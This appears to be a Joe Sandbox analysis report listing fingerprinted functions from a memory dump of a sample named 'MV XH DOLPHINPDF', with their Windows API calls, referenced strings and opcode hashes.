Download Yara Rule

APIs

_memset.LIBCMT ref: 000E2CAF
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 000E2CCB
DeleteMenu.USER32(?,00000007,00000000), ref: 000E2D11
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00146890,00000000), ref: 000E2D5A

Strings

0, xrefs: 000E2CA4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 0139b2799c108082a389601de6ec3181a5b4e47d8272a3c47ce525185b7db048
Instruction ID: 58b8b93bada7990633ec35c2c54b7a1c1facd059f6ab17457dfe1ae28a947d41
Opcode Fuzzy Hash: 0139b2799c108082a389601de6ec3181a5b4e47d8272a3c47ce525185b7db048
Instruction Fuzzy Hash: A741B1302083819FD724EF25DC45B5AB7E8AF85320F14462DFAA5A7292D770E905CB92

Function 000FDAB9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 000FDAD9

Part of subcall function 000879AB: _memmove.LIBCMT ref: 000879F9

Strings

none, xrefs: 000FDBB4
winapi, xrefs: 000FDB4A
cdecl, xrefs: 000FDB30
stdcall, xrefs: 000FDB5B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: e709c6f7cb573199882feeda06813f8a3ba4943d6b7b35cd02098039d6da86f1
Instruction ID: c5f00f40469a2edc656d016de485a6d605593e33fa4f04cf701984adbe6a29d6
Opcode Fuzzy Hash: e709c6f7cb573199882feeda06813f8a3ba4943d6b7b35cd02098039d6da86f1
Instruction Fuzzy Hash: 5631A17150421EEBCF14EF94CC819FEB3B5FF55310B10862AE965A7A92DB71E906CB80

Function 000D9372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 000D93F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 000D9409
SendMessageW.USER32(?,00000189,?,00000000), ref: 000D9439

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Strings

ComboBox, xrefs: 000D9380
ListBox, xrefs: 000D93B5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: c5762995525a001bc2dfd266c3a117b269dfdb3c7197dd8d992cc47c3f985352
Instruction ID: f81cd00e7cea919df9f36b797886a46f80cbf36672a047ca5fe3edff1a1725d1
Opcode Fuzzy Hash: c5762995525a001bc2dfd266c3a117b269dfdb3c7197dd8d992cc47c3f985352
Instruction Fuzzy Hash: F621F871900204BFDB14ABB0DC86CFFB7B8EF05760F14422AF965572E2DB754A4B9620

Function 000F1B21 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 000F1B40
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000F1B66
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 000F1B96
InternetCloseHandle.WININET(00000000), ref: 000F1BDD

Part of subcall function 000F2777: GetLastError.KERNEL32(?,?,000F1B0B,00000000,00000000,00000001), ref: 000F278C
Part of subcall function 000F2777: SetEvent.KERNEL32(?,?,000F1B0B,00000000,00000000,00000001), ref: 000F27A1

Strings

, xrefs: 000F1B87

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 4e58c794b63c48824fcbf95efc5e6dbebce93d87dd351aebb0cc7c958a579783
Instruction ID: 34458be10763f0a8c053c65056539148d5d6bc0f4963b244abfd7d4b735ff79d
Opcode Fuzzy Hash: 4e58c794b63c48824fcbf95efc5e6dbebce93d87dd351aebb0cc7c958a579783
Instruction Fuzzy Hash: 0D219FB150420CFFEB219F619C86EFF77ECEB49744F10412AF645A6A40EB709D05A7A1

Function 00106656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00081D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00081D73
Part of subcall function 00081D35: GetStockObject.GDI32(00000011), ref: 00081D87
Part of subcall function 00081D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00081D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 001066D0
LoadLibraryW.KERNEL32(?), ref: 001066D7
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 001066EC
DestroyWindow.USER32(?), ref: 001066F4

Strings

SysAnimate32, xrefs: 001066AB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 2324ffe59ca8c31cd9048a1873c7a6abf6b767762446d009119c0ecab854962b
Instruction ID: 48022d27185d4aab2912986f5cfcfb753bc85fc29887dd3998a4d8d313f3b09d
Opcode Fuzzy Hash: 2324ffe59ca8c31cd9048a1873c7a6abf6b767762446d009119c0ecab854962b
Instruction Fuzzy Hash: 0E218B71200206ABEF104F64EC81EAB37ADEB59368F504629FA91961E0D7B28CA19760

Function 000E703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 000E705E
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 000E7091
GetStdHandle.KERNEL32(0000000C), ref: 000E70A3
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 000E70DD

Strings

nul, xrefs: 000E70D8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 72aaac145340a76f9b7d40bfb6b6eaa332f2d5a58e3b89149c13f9c91704e3f6
Instruction ID: 4ea3dead6236e73c960faefb6cde3f37d366eb17423b1fca8a313a575def2c4b
Opcode Fuzzy Hash: 72aaac145340a76f9b7d40bfb6b6eaa332f2d5a58e3b89149c13f9c91704e3f6
Instruction Fuzzy Hash: 36218174504349EFDB309F3AEC05A9A77E8BF54720F204A2AFCA4E72D0D7B1A9508B50

Function 000E710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 000E712B
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 000E715D
GetStdHandle.KERNEL32(000000F6), ref: 000E716E
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 000E71A8

Strings

nul, xrefs: 000E71A3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 4fbe642fc30ed5a50a5f9be5ddb4e68b033556d187eeaf3202caf77ba33de998
Instruction ID: 7cdfbb11fccf07b745113e1bc7fb55876b7843eafbf84594b5d453e985ab9b93
Opcode Fuzzy Hash: 4fbe642fc30ed5a50a5f9be5ddb4e68b033556d187eeaf3202caf77ba33de998
Instruction Fuzzy Hash: CD21AF75604385AFDB209F6E9C05AAAB7E8AF55730F200A59FDF4E32D0D7B098418B61

Function 000EAEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000EAEBF
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 000EAF13
__swprintf.LIBCMT ref: 000EAF2C
SetErrorMode.KERNEL32(00000000,00000001,00000000,0010F910), ref: 000EAF6A

Strings

%lu, xrefs: 000EAF26

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 77a74df2ac39f72feb3e6434c81cd62ec32f3db4835ec2779955e5b0ce4ce846
Instruction ID: 2d9bbb4eb5bbbf6fc03a7df3b4b7b47d8db1e838090f18c5dde09860e0a12782
Opcode Fuzzy Hash: 77a74df2ac39f72feb3e6434c81cd62ec32f3db4835ec2779955e5b0ce4ce846
Instruction Fuzzy Hash: 81216230A00209AFCB10EB95CD85DEE7BB8FF49704B0440A9F545AB252DB71EA45CB61

Function 000DA52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Part of subcall function 000DA37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 000DA399
Part of subcall function 000DA37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 000DA3AC
Part of subcall function 000DA37C: GetCurrentThreadId.KERNEL32 ref: 000DA3B3
Part of subcall function 000DA37C: AttachThreadInput.USER32(00000000), ref: 000DA3BA

GetFocus.USER32 ref: 000DA554

Part of subcall function 000DA3C5: GetParent.USER32(?), ref: 000DA3D3

GetClassNameW.USER32(?,?,00000100), ref: 000DA59D
EnumChildWindows.USER32(?,000DA615), ref: 000DA5C5
__swprintf.LIBCMT ref: 000DA5DF

Strings

%s%d, xrefs: 000DA5D9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 954773172e7936ec3a01cebbe22bb39f59d478507ff4cd69d6e53a409b33521f
Instruction ID: 734eea9b575899ca69e8e3ec83760beeb84bce895d48dded6bf6f5653529ba8d
Opcode Fuzzy Hash: 954773172e7936ec3a01cebbe22bb39f59d478507ff4cd69d6e53a409b33521f
Instruction Fuzzy Hash: DE11A571200304BBDF207F64DC86FEA3779AF49700F04407AB948AA253DA749A468B75

Function 000E2017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 000E2048

Strings

EXISTS, xrefs: 000E2070
APPEND, xrefs: 000E2081
REMOVE, xrefs: 000E204E
KEYS, xrefs: 000E205F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: a7851a5c560bb6468262c0f6152071c11cb876f8f3d51a52876f2b8699a268c1
Instruction ID: c7d3eefd264a80b03e62efab64499e7a0382e0beddd0727ba8f2704763b3e2d9
Opcode Fuzzy Hash: a7851a5c560bb6468262c0f6152071c11cb876f8f3d51a52876f2b8699a268c1
Instruction Fuzzy Hash: BA115B7190010D8FCF10EFA4D9814EEB7B4FF5A304F508468D895A7293EB32A906CB50

Function 000FEE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 000FEF1B
GetProcessIoCounters.KERNEL32(00000000,?), ref: 000FEF4B
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 000FF07E
CloseHandle.KERNEL32(?), ref: 000FF0FF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: aca1b7e3655b4223029935970fed114af7f8aa478f0f2dd2a7b3bc4d4344c91f
Instruction ID: 637c8864c4303101fd614e43400227386845ce512b2852461162d6e072e382bb
Opcode Fuzzy Hash: aca1b7e3655b4223029935970fed114af7f8aa478f0f2dd2a7b3bc4d4344c91f
Instruction Fuzzy Hash: E48151716043119FD724EF28C886F7AB7E5BF48720F14881DF696DB692DB70AC418B92

Function 001002C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 001010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00100038,?,?), ref: 001010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00100388
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001003C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0010040E
RegCloseKey.ADVAPI32(?,?), ref: 0010043A
RegCloseKey.ADVAPI32(00000000), ref: 00100447

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 181cb0e8aaa8d85ae7f5874af14a46100e5d80eacf7cf22472e8cdb6e13e35a7
Instruction ID: 86dc24e6fa471bc6fecaf6fe4db70ab4fec8c9d6561eba2dff59c298967f92d2
Opcode Fuzzy Hash: 181cb0e8aaa8d85ae7f5874af14a46100e5d80eacf7cf22472e8cdb6e13e35a7
Instruction Fuzzy Hash: 72512831208204AFD715EB64CC81FAAB7E9FF88704F44892DB5D59B2A2DB71E905CB52

Function 000EE7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 000EE88A
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 000EE8B3
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 000EE8F2

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 000EE917
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 000EE91F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: cffd7348384cd5ea8c1b6ece975364b8f63f250130d6b04be439cdd8b9be7a5f
Instruction ID: fb1b4021cf04f1673acbf6224a19206fb70b9e89de73b37d9775a39b1ae89f4c
Opcode Fuzzy Hash: cffd7348384cd5ea8c1b6ece975364b8f63f250130d6b04be439cdd8b9be7a5f
Instruction Fuzzy Hash: 83514E35A00209DFCF11EF65C9819ADBBF5FF08310B1880A9E889AB362CB71ED51CB51

Function 0010A2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b58ba5dc9c3b103176f283342575033ea03dbcce15f2a6b53d13433d56163f9
Instruction ID: 9099ee71e93aa42362c3c4d70e8c4b92953616be2f9344326ffa225b53a0faca
Opcode Fuzzy Hash: 4b58ba5dc9c3b103176f283342575033ea03dbcce15f2a6b53d13433d56163f9
Instruction Fuzzy Hash: 9841C339900304AFD724DB28CC49FA9BBA4FF09310F954165F9D5EB2E1D7B0AD81DA52

Function 00082344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00082357
ScreenToClient.USER32(001467B0,?), ref: 00082374
GetAsyncKeyState.USER32(00000001), ref: 00082399
GetAsyncKeyState.USER32(00000002), ref: 000823A7

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 287a57fa73acb2fb9dbbba797a315cc9732393759fdb2991501a9ea435b76037
Instruction ID: 0806f84311ebad9b4fa9f292d536a2c9077a6e96aeb7bd99198b0db43eb379be
Opcode Fuzzy Hash: 287a57fa73acb2fb9dbbba797a315cc9732393759fdb2991501a9ea435b76037
Instruction Fuzzy Hash: F3418275504119FBDF29AF68C844EEDBBB4FF15320F20431AF868A6290C7745A94DF91

Function 000D6920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000D695D
TranslateAcceleratorW.USER32(?,?,?), ref: 000D69A9
TranslateMessage.USER32(?), ref: 000D69D2
DispatchMessageW.USER32(?), ref: 000D69DC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000D69EB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: e1474cc7052bdb4a7f6abffbeda34efa3b65b47c4246f73bd4e578dfb5948123
Instruction ID: e92f363c35f4eebeb06d42c666b3bd42f639965d8d6eddf4ec2c8d93f920b28f
Opcode Fuzzy Hash: e1474cc7052bdb4a7f6abffbeda34efa3b65b47c4246f73bd4e578dfb5948123
Instruction Fuzzy Hash: 4531E671500306AADB60CF74DC84FB6BBECAB13314F10416AE461D26A1D7769886DB71

Function 000D8F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 000D8F12
PostMessageW.USER32(?,00000201,00000001), ref: 000D8FBC
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 000D8FC4
PostMessageW.USER32(?,00000202,00000000), ref: 000D8FD2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 000D8FDA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
